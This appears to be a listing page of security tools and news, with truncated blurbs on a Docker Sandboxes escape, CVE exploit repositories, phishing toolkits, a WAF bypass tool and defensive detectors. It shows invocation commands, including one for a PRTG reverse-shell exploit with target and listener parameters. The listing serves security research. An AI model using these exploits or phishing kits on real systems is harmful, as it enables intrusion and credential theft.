Critical Docker Sandboxes Flaw Lets Malicious Guest Code Read and Modify macOS Host Files

Malicious code running inside a Docker Sandboxes virtual machine on macOS could escape the project directory shared into it and read or change files anywhere else on the host, Docker warns in a security announcement on September 15. The escape runs with the rights of the host account that runs th...

poc-ghas-vulnerability-report-generator

GHAS Vulnerability Report Generator !WARNING This proof...

Burpnake

-- BurpNake Autonomous AI-Driven Penetration Testing &...

Exploit for Improper Verification of Cryptographic Signature in Jfrog Artifactory

Incidente Cero — Forensic Lab: AI Agent Privilege Escalation...

guardd

guardd Machine learning driven behavioral anomaly detection for Linux using eBPF + Isolation Forest Guardd collects low-level system events process execution, network activity, aggregates them into time-windowed feature vectors, and detects anomalous behavior using a machine learning model. Guard...

OSweep

OSweep™ Don't Just Search OSINT. Sweep It. Description If you work in IT security, then you most likely use OSINT to help you understand what it is that your SIEM alerted you on and what everyone else in the world understands about it. More than likely you are using more than one OSINT service...

graudit

graudit graudit is a simple script and signature sets that allows you to find potential security flaws in source code using the GNU utility grep. It's comparable to other static analysis applications like RATS, SWAAT and flaw-finder while keeping the technical requirements to a minimum and being...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 Reverse Shell Python3 support Dependancies Impacket python3 version Netcat Msfvenom Usage root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password...

jvmxray

JVMXRay: Java Application Security Monitoring Duke history Documentation | Changes from Upstream | Project Blog JVMXRay monitors Java applications in real-time via bytecode injection, detecting vulnerabilities and suspicious activity without code changes. 19 modular sensors track file access,...

exploit_CVE-2022-24112

exploitCVE-2022-24112 CVE-2022-24112 Installation root@kitploit: git clone https://github.com/btar1gan/exploitCVE-2022-24112 Usage root@kitploit: cd exploitCVE-2022-24112/ python3 508291.py && python3 508292.py If you have any feedback, please reach out...

CVE-2024-38077-RDLCheck

CVE-2024-38077-RDLCheck Detect if the RDL service is running, quickly identify affected assets Usage: Install impacket root@kitploit: git clone https://github.com/fortra/impacket.git cd impacket python3 -m pipx install . Script Usage: root@kitploit: python3 RDLCheck.py usage: RDLCheck.py -h -ip I...

waf-bypass

WAF Bypass Tool WAF Bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of...

CVE-2026-31431-Copy-Fail-R-pertoire-de-Pr-vention

🔴 CVE-2026-31431 — Copy Fail Linux Kernel Local Privilege Escalation LPE — Defensive Research Repository 📖 Overview Copy Fail CVE-2026-31431 is a Local Privilege Escalation LPE vulnerability affecting the Linux kernel via controlled corruption of the page cache through the AFALG, splice and...

base-drupal

BASE-DRUPAL This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/base-drupal Image based on: https://github.com/Medicean/VulApps/tree/master/base/drupal/8.3.0...

frameless-bitb

Frameless BITB A new approach to Browser In The Browser BITB without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft. This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet. Before diving deep...

xed

Intel® X86 Encoder Decoder Intel® XED Doxygen API manual and source build manual: https://intelxed.github.io Bugs: https://github.com/intelxed/xed/issues/new Abbreviated GITHUB building instructions: root@kitploit: git clone https://github.com/intelxed/xed.git xed git clone...

king-phisher

King Phisher Phishing Campaign Toolkit King Phisher is no longer being maintained. Installation For instructions on how to install, please see the INSTALL.md file. After installing, for instructions on how to get started please see the wiki. Overview King Phisher is a tool for testing and promoti...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 is a subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing, brute-force and port scanning. It has a simple modular architecture and...

geowifi

📡💘🌎 | geowifi Busca datos de geolocalización WiFi por BSSID y SSID en diferentes bases de datos públicas. 💾 Bases de datos Wigle| Apple| Google| Milnikov ---|---|---|--- WifiDB| Combain| Freifunk Carte| ❌ DescontinuadoOpenWifi ✔️Requisitos previos Python3. Para mostrar emojis en Windows , se...

Emojify

Emojify root@kitploit: 🔋⌚🐆💀 ⌛ 🌵 🌵 🌈 🍡 🥚 👖 👢🎹🎹 🍬 🌽 🔋 🍟🔨 🔑🍟 🚀 🍭 🗼 🎍 💄 🍬🌽 ⌛🌷💀 🌵 🚬 🌵 ⚽ 🎱 🥚 👖 👢🎹🎹 🚩 🔋 🍟 🍟 🎱 ⚽ 🗼 🎍 💄 🎌 ⌛ 🌵 🌵 🍭 🔪 👝 🥚 👖 👢 🏁 🔋⌚🐆💀 🍟 🍟 🔪🏈 🎽💼🗼 🎍 💄 🚩 Obfuscates charcater and string literals into emojis and randomises classes, interfaces, methods and variable names. NB Inherited, overriden a...